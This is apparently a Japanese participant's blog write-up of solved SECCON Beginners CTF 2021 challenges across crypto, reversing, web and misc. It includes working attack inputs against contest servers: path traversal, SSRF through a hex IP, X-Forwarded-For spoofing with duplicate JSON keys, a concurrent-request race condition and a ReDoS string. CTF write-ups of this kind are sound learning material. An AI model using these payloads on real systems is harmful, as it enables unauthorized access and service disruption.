概要
今年も SECCON Beginners CTF をやりました!時間内に解けた問題のwriteupを書いていきます。

939pt / 175位(S*)でした。web問が思ったより解けて良かったなの気持ち。
イースターエッグ(解けてない)
トップページのノイズ描写かっこいいなーと思いつつdevtoolを開いたらなんか出てきた。

[misc] width_of_space
Our spacemilky_way may be in a computer.
Computer use binary (0,1).
🌌🪐🪐🌌🌌🪐🪐🌌🌌...[省略]
※この問題はイースターエッグであり正式な問題ではないので、解けても点数には加算されないしスコアサーバーにsubmitできません!
解けてないけど、解説によるとゼロ幅スペースが入っているようで、それをもとに解くらしい。なるほど……?
welcome
welcome
Welcome to SECCON Beginners CTF 2021!
フラグはDiscordサーバのannouncementsチャンネルにあります。
ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}
crypto
simple_RSA
Let's encrypt it with RSA!
simple_RSA.tar.gz 0bf8879ad05cc4b49a643f4ef3c8672468862d56
n, e, c と暗号化プログラムが与えられる。 e=3 だが、ググってみたところ e の値が十分に小さい場合は簡単に復号できるらしい。
ということで、参考サイトを真似して復号プログラムを書いた。
import gmpy
from Crypto.Util.number import long_to_bytes
def root_e(c, e, n):
bound = gmpy.root(n, e)[0]
m = gmpy.root(c, e)[0]
return m, bound
if __name__ == "__main__":
n = 17686671842400393574730512034200128521336919569735972791676605056286778473230718426958508878942631584704817342304959293060507614074800553670579033399679041334863156902030934895197677543142202110781629494451453351396962137377411477899492555830982701449692561594175162623580987453151328408850116454058162370273736356068319648567105512452893736866939200297071602994288258295231751117991408160569998347640357251625243671483903597718500241970108698224998200840245865354411520826506950733058870602392209113565367230443261205476636664049066621093558272244061778795051583920491406620090704660526753969180791952189324046618283
e = 3
c = 213791751530017111508691084168363024686878057337971319880256924185393737150704342725042841488547315925971960389230453332319371876092968032513149023976287158698990251640298360876589330810813199260879441426084508864252450551111064068694725939412142626401778628362399359107132506177231354040057205570428678822068599327926328920350319336256613
m, bound = root_e(c, e, n)
print(long_to_bytes(m))
ctf4b{0,1,10,11...It's_so_annoying.___I'm_done}
参考
plain RSAに対する攻撃手法を実装してみる - ももいろテクノロジー
Logical_SEESAW
We have an innovative seesaw!
Logical_SEESAW.tar.gz 323d2e48e60f4ed521c88acf5d274d3c003ecdd7
Logical_SEESAW.tar.gz
from Crypto.Util.number import *
from random import random, getrandbits
from flag import flag
flag = bytes_to_long(flag.encode("utf-8"))
length = flag.bit_length()
key = getrandbits(length)
while not length == key.bit_length():
key = getrandbits(length)
flag = list(bin(flag)[2:])
key = list(bin(key)[2:])
cipher_L = []
for _ in range(16):
cipher = flag[:]
m = 0.5
for i in range(length):
n = random()
if n > m:
cipher[i] = str(eval(cipher[i] + "&" + key[i]))
cipher_L.append("".join(cipher))
print("cipher =", cipher_L)
cipher = ['11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100', '11000110110010000100110001000000010001001111010010000110110000000110011010101110011010100110000010100110101100000100000000001110001001001000101000001010101001100000001010101010010110001001110001101010110100000110011010010110011000000100100011010000110010001001011001101010011000001101100', '11000010110010000100110001101000010001001111001000000110000100000110011000111110010010100110000000101110101101100000000010010110001001101000101010000010101000100000001000101110000010001001111001101010110100000010011010010110011000100000100011010010100010001001111001101010011000001101100', '11000110110010001100110000101000110001000111000000000110000000000110011010101110011000100110000010100110101101100100100010000100101001001000101010000010101000100000001010100110010010001001110001101010110000000110000010110110000000000000100011010010110010001011011001101010001000000111101', '11000110100010001100110000000000010001000111001010000110110100000110011010111110001010100110100011101110101110100010000000110100001001101000101010000010101001101000001000101000010010001001111001101010110000000010000010111110000000000010000011010010100010001001011001101010011000001111101', '11000010110010001100110001001000010001000011000000100110000000000110011010101110000010100110100011100110101110100010000000101100101001101000101010000010101001101000001010100010000010001011111001101010110100000110001010010110001010100100000011010010110010001011111001101010011000000101100', '11000110110010000100110001101000110001001011010000100110110000000110011000101110010000100110100001100110100110000000100010000110101001001000101010000010101001100000001000101110010010001011111001101010110000000010001010110110001010100110000011010000110010001011111001101010011000000101100', '11000010110010000100110000100000010001000111011000100110100000000110011000111110000010100110000001101110101111100100000010111110001001001000101000001010101001101000001000101010000110001011110001101010110000000110001010011110000010100010100011010010110010000011011001101010001000000111100', '11000010101010000100110001001000010001000011000000100110010000000100011000111110011000100110000001100110100101000010000000011100101001101000101000001010101001101000001010101110010110001001110001101010110000000010010010110110011000000010100011010000100010001011111001101010001000000101100', '11000010101010001100110000100000010001001111001010000110000000000100011010101110011000100110000011100110100111100110100000000110001001001000101010000010101000100000001000101100010010001011110001101010110000000110011010010110011010000000000011010010100010001011011001101010011000001101101', '11000010101010001100110001000000010001001011010010000110010100000100011000111110011000100110000010100110100111000100000000000100101001101000101010001010101000100000001000100000000110001001111001101010110000000110011010010110000010000100100011010000110010000011011001101010001000001101100', '11000110101010001100110001000000110001001111001010000110110000000110011010101110011000100110100001100110101111000100100010011110101001001000101010001010101000101000001000101100000110001011111001101010110100000010011010011110001000000100100011010010100010000001011001101010011000001111100', '11000110100010001100110001000000010001001011011010100110000000000100011000101110001000100110100001101110101101000110100010001100101001001000101010000010101000100000001010101100000010001001111001101010110100000110011010010110010000100110100011010010110010001001111001101010011000001101101', '11000110101010000100110000000000010001001111001010100110100100000100011010111110001000100110100001101110101100000000100000111110001001101000101000001010101001101000001010100110010010001011110001101010110100000110000010010110001010000010100011010010110010001001011001101010001000000101100', '11000010101010000100110000000000110001001011011010100110110000000110011000101110010010100110100000100110101111000010000000100100001001001000101000001010101001100000001000100000000010001011110001101010110000000010011010011110001010000000000011010010100010001001011001101010001000000101101', '11000110101010001100110001000000110001001111011000000110010100000100011000101110001010100110000001101110101110000100100000101110101001101000101000000010101000100000001010101010000010001011110001101010110000000010000010010110001000100100100011010000100010000001011001101010001000001111101']
flagを2進数にして、ランダムな値( key )とandをとっている(andを取るか取らないかもランダム)。それを16回実施した結果が cipher として与えられている。
ここで、場合分けをして01のどちらになるかを考えてみた。
| (flag, key) | andを取る場合のcipher | andを取らない場合のcipher(=flagそのまま) |
|---|---|---|
| (0, 0) | 0 | 0 |
| (0, 1) | 0 | 0 |
| (1, 0) | 0 | 1 |
| (1, 1) | 1 | 1 |
つまり、 cipher のビットごとに見たとき
- 16回すべて0:flagも0
- 16回すべて1:flagも1
- 16回で0, 1両方:flagは1
と固定できる。これをもとにプログラムを書いて解いた。
from Crypto.Util.number import *
# cipherは省略
cipher = ["11000010111010000100110001000000010001001011010000000110000100000100011010111110000010100110000001101110100110100100100010000110001001101000101010000010101000100000001010100010010010001011110001101010110100000010000010111110000010100010100011010010100010001001111001101010011000000101100", ...]
length = len(cipher[0])
# 転置
t_cipher = [list(x) for x in zip(*cipher)]
flag_b = ["x"] * length
x = 0
for i, col in enumerate(t_cipher):
zero = col.count("0")
one = col.count("1")
# print(f"0: {zero}, 1: {one}")
if zero == 16:
flag_b[i] = "0"
else:
flag_b[i] = "1"
print(flag_b)
flag_10 = int("".join(flag_b), 2)
print(long_to_bytes(flag_10))
ctf4b{Sh3_54w_4_SEESAW,_5h3_54id_50}
reversing
only_read
バイナリ読めなきゃやばいなり〜
chall 271938a479a59fe40438b9ecf0e2fca002fe085b
IDAで開いてみたらflagが1文字ずつ見えていたのでそのまま読んだ。
ctf4b{c0n5t4nt_f0ld1ng}
children
これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
children 336f0a34491926dac7c1ee43c63c4413c2a81ede
gdbを使って実行すると、子プロセスが生まれるたびにプロセス番号を出力してくれるのでその通りに入力していく。
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /mnt/d/ctf/ctf4b2021/childrenn/children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!
[Detaching after fork from child process 27506]
[Detaching after fork from child process 27507]
Please give me my child pid!
27507
ok
[Detaching after fork from child process 27508]
Please give me my child pid!
27508
ok
[Detaching after fork from child process 27509]
[Detaching after fork from child process 27510]
Please give me my child pid!
27510
ok
[Detaching after fork from child process 27511]
Please give me my child pid!
27511
ok
[Detaching after fork from child process 27512]
[Detaching after fork from child process 27513]
Please give me my child pid!
27513
ok
[Detaching after fork from child process 27514]
Please give me my child pid!
27514
ok
[Detaching after fork from child process 27515]
[Detaching after fork from child process 27516]
Please give me my child pid!
27516
ok
[Detaching after fork from child process 27517]
Please give me my child pid!
27517
ok
[Detaching after fork from child process 27518]
Please give me my child pid!
27518
ok
[Detaching after fork from child process 27519]
Please give me my child pid!
27519
ok
How many children were born?
14
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1} [Inferior 1 (process 27505) exited normally]
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
pwnable
苦手なので、ちょっと見て後からやろう……と思ってたら終わった(´・ω・`)
web
osoba
美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります! https://osoba.quals.beginners.seccon.jp/
osoba.tar.gz 566021e832a474559dfb67f5d3cd0bed14147f9b
例えば https://osoba.quals.beginners.seccon.jp/?page=public/wip.htmlで各ページが見られるので、トラバーサルっぽい。
?page=../flagでフラグ取得できた。
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
Werewolf
I wish I could play as a werewolf...
https://werewolf.quals.beginners.seccon.jp/
app.py d11a6307acd8446077dbbb8bc2930240001eaa64
app.pyを見ると、postパラメータの値を playerインスタンスにアクセスして設定していることが分かる。
app.py
import os
import random
from flask import Flask, render_template, request, session
# ====================
app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")
# ====================
class Player:
def __init__(self):
self.name = None
self.color = None
self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
# :-)
# self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])
@property
def role(self):
return self.__role
# :-)
# @role.setter
# def role(self, role):
# self.__role = role
# ====================
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == 'GET':
return render_template('index.html')
if request.method == 'POST':
player = Player()
for k, v in request.form.items():
player.__dict__[k] = v
return render_template('result.html',
name=player.name,
color=player.color,
role=player.role,
flag=app.FLAG if player.role == 'WEREWOLF' else ''
)
# ====================
if __name__ == '__main__':
app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
__role に WEREWOLF を設定してやればいいが、 pythonの仕様(name mangling)から _Player__role にアクセスすると代入できるので、以下のようなパラメータを送信する。
name=test&color=red&_Player__role=WEREWOLF
ctf4b{there_are_so_many_hackers_among_us}
check_url
Have you ever used curl ?
https://check-url.quals.beginners.seccon.jp/
index.php 8524943bf9415bf35516300bf6e16030e0cdd583
check_url.php
<!-- HTML Template -->
<?php
error_reporting(0);
if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1"){
echo "Hi, Admin or SSSSRFer<br>";
echo "********************FLAG********************";
}else{
echo "Here, take this<br>";
$url = $_GET["url"];
if ($url !== "https://www.example.com"){
$url = preg_replace("/[^a-zA-Z0-9\/:]+/u", "👻", $url); //Super sanitizing
}
if(stripos($url,"localhost") !== false || stripos($url,"apache") !== false){
die("do not hack me!");
}
echo "URL: ".$url."<br>";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT_MS, 2000);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
echo "<iframe srcdoc='";
curl_exec($ch);
echo "' width='750' height='500'></iframe>";
curl_close($ch);
}
?>
<!-- HTML Template -->
url パラメータに 127.0.0.1 にアクセスするようなURLを設定すればいいらしいが、ドットが使えないのでそのままではアクセスできない。
ググったらSSRFの解説があり、それを参考にIPアドレスを16進数にして送信した。
https://check-url.quals.beginners.seccon.jp/?url=http://0x7f000001/
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
参考
終了後の追記:なんでこれでアクセスできるのかよく分からなかったけど、discordに貼られていたqiitaページが参考になった。
この記事にある内容すべてが通るわけではないらしいので、1発で上記の方法を取ったのは運が良かったのかもしれない……。
127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita
json
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/
json.tar.gz ce98dc233a9d77370045f306eb80cf73a17016f3
まずIP制限がかかっているが、ググったところ X-Forwarded-For: ヘッダで偽装できそうなので適当に偽装する。
# リクエスト
POST / HTTP/1.1
Host: json.quals.beginners.seccon.jp
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: _ga=GA1.2.1795842951.1621652466
X-Forwarded-For: 192.168.111.1
Content-Length: 17
{"id":2}
# レスポンス
HTTP/1.1 400 Bad Request
Server: nginx/1.19.10
Date: Sun, 23 May 2021 04:21:07 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 66
Connection: close
{"error":"It is forbidden to retrieve Flag from this BFF server."}
ソースを見ると{"id":2} でflagが降ってくるようだが、apiに内部アクセスする前の処理で弾かれてしまう。
同じkeyのパラメータを追加したらいけるかな?となんとなく試したら通った。
# リクエスト
POST / HTTP/1.1
Host: json.quals.beginners.seccon.jp
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: _ga=GA1.2.1795842951.1621652466
X-Forwarded-For: 192.168.111.1
Content-Length: 17
{"id":2,"id":1}
# レスポンス
HTTP/1.1 200 OK
Server: nginx/1.19.10
Date: Sun, 23 May 2021 04:20:30 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 67
Connection: close
{"result":"ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}"}
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
cant_use_db
Can't use DB.
I have so little money that I can't even buy the ingredients for ramen.
🍜
https://cant-use-db.quals.beginners.seccon.jp/
cant_use_db.tar.gz 1cded20dd165e1eca3cc12bee2010e65fe6ba9ea
DB代わりにテキストファイルを使っているらしい。ラーメンの麺やスープを所定の数だけ購入する(ボタンを押す)必要があるが、そのままでは所持金が足りない。
ソースを見ていると、購入時の書き込み処理後に sleep が入っていることが分かる。
@app.route("/buy_noodles", methods=["POST"])
def buy_noodles():
user_id = session.get("user")
if not user_id:
return redirect("/")
balance, noodles, soup = get_userdata(user_id)
if balance >= 10000:
noodles += 1
open(f"./users/{user_id}/noodles.txt", "w").write(str(noodles))
time.sleep(random.uniform(-0.2, 0.2) + 1.0)
balance -= 10000
open(f"./users/{user_id}/balance.txt", "w").write(str(balance))
return "💸$10000"
return "ERROR: INSUFFICIENT FUNDS"
この内容から、必要なリクエストを同時に送信することで所持金を減らす処理前に購入ができるのではないかと推測。力業だが、 /buy_noodles へのリクエスト2つと /buy_soup へのリクエスト1つを3つのターミナルから同時送信してみる。
# 一つ目
$ curl -X POST -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/buy_noodles -k
💸$10000
# 二つ目
$ curl -X POST -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/buy_noodles -k
💸$10000
# 三つ目
$ curl -X POST -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/buy_soup -k
💸$20000
# 最後に確認
$ curl -b 'session=eyJ1c2VyIjoiMTEzNy9UdzZEZlJNSkRzcE1LZ3BubDdLZG92dTdHalVaU1lZaGtzOVVTTEZMIn0.YKm_9Q.A4WvYHqGlJlMEVQliqzyn9Cr2fg' https://cant-use-db.quals.beginners.seccon.jp/eat -k
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
ctf4b{r4m3n_15_4n_3553n714l_d15h_f0r_h4ck1n6}
misc
git-leak
後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?
git-leak.zip df0dc798437439dac5195f2b56adb35ce0d93b61
git-leak.zipの中身はmdファイルと.git
.git/logs/HEAD の内容を見ると、rebaseの文字がいくつかの行に見えるので、その周辺のハッシュ値をもとに diff を確認する。
# 前半省略
73879828a8ecac85c705508cdc9398f26c697249 36a4809f1ae8013432eb52cfd2f9f062a3269499 task4233 <29667656+task4233@users.noreply.github.com> 1620491768 +0900 rebase -i (start): checkout HEAD~2
36a4809f1ae8013432eb52cfd2f9f062a3269499 73879828a8ecac85c705508cdc9398f26c697249 task4233 <29667656+task4233@users.noreply.github.com> 1620491768 +0900 rebase -i: fast-forward
73879828a8ecac85c705508cdc9398f26c697249 b3bfb5c80e48bba23ab820ff91442cc3800c393a task4233 <29667656+task4233@users.noreply.github.com> 1620491811 +0900 commit (amend): feat: めもを追加
b3bfb5c80e48bba23ab820ff91442cc3800c393a b3bfb5c80e48bba23ab820ff91442cc3800c393a task4233 <29667656+task4233@users.noreply.github.com> 1620491834 +0900 rebase -i (finish): returning to refs/heads/master
b3bfb5c80e48bba23ab820ff91442cc3800c393a 80f3044ec17bd6be63f428e87e0a5fce690c50c5 task4233 <29667656+task4233@users.noreply.github.com> 1620491866 +0900 commit (amend): feat: めもを追加
80f3044ec17bd6be63f428e87e0a5fce690c50c5 e0b545f42cd1b3d51defe4cf6fe235f143e73d93 taro hoge <taro@secc0n.jp> 1620491902 +0900 commit (amend): feat: めもを追加
$ git diff 80f3 e0b5
$ git diff b3bf 80f3
$ git diff b3bf 7387
diff --git a/flag.txt b/flag.txt
new file mode 100644
index 0000000..4cbb035
--- /dev/null
+++ b/flag.txt
@@ -0,0 +1 @@
+ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
Mail_Address_Validator
あなたのメールアドレスが正しいか調べます.
nc mail-address-validator.quals.beginners.seccon.jp 5100
main.rb 67c79eaacc9fbb51d24b4d704438914ca5f8d47c
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
test
Invalid mail address!
bye.
^C
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
test@ex.jp
Valid mail address!
bye.
^C
main.rb
# !/usr/bin/env ruby
require 'timeout'
$stdout.sync = true
$stdin.sync = true
pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
begin
Timeout.timeout(60) {
Process.wait Process.fork {
puts "I check your mail address."
puts "please puts your mail address."
input = gets.chomp
begin
Timeout.timeout(5) {
if input =~ pattern
puts "Valid mail address!"
else
puts "Invalid mail address!"
end
}
rescue Timeout::Error
exit(status=14)
end
}
case Process.last_status.to_i >> 8
when 0 then
puts "bye."
when 1 then
puts "bye."
when 14 then
File.open("flag.txt", "r") do |f|
puts f.read
end
else
puts "What's happen?"
end
}
rescue Timeout::Error
puts "bye."
end
ソースコードを見ると、正規表現でメールアドレス判定をする部分に Timeout.timeout(5) が設定されており、ここでエラーが発生した場合にflagを取得できることが分かる
時間と正規表現ということから、ReDoSだとアタリをつけて適当に正規表現に合致しないものを送ってみる
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
Invalid mail address!
bye.
^C
$ nc mail-address-validator.quals.beginners.seccon.jp 5100
I check your mail address.
please puts your mail address.
test@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!!.a
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
^C
# 正規表現のテストに時間がかかっており、エラーになっていることが分かる
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
所感
解けた人が多い問題はだいたい解けたかなって感じ。各分野の解けた問題数からも分かるようにweb以外ダメダメなので勉強したい……というのは毎回言っている気がする。
ただ、冒頭でも書いたが前回に比べてweb問だけは解けるようになったので、それは嬉しかった。5問目は見てすらないので、これも解法を確認しておきたい。
途中で某スタァライトされるアニメの一挙放送を見に行ったりしたのでずっとやっていたわけではないが、解いている間はそこまで集中力が切れなかったのも良かった。スタァライトはいいぞ。映画もやるよ。
途中のトークライブとかも含め、今回も楽しかったです!!精進します!!!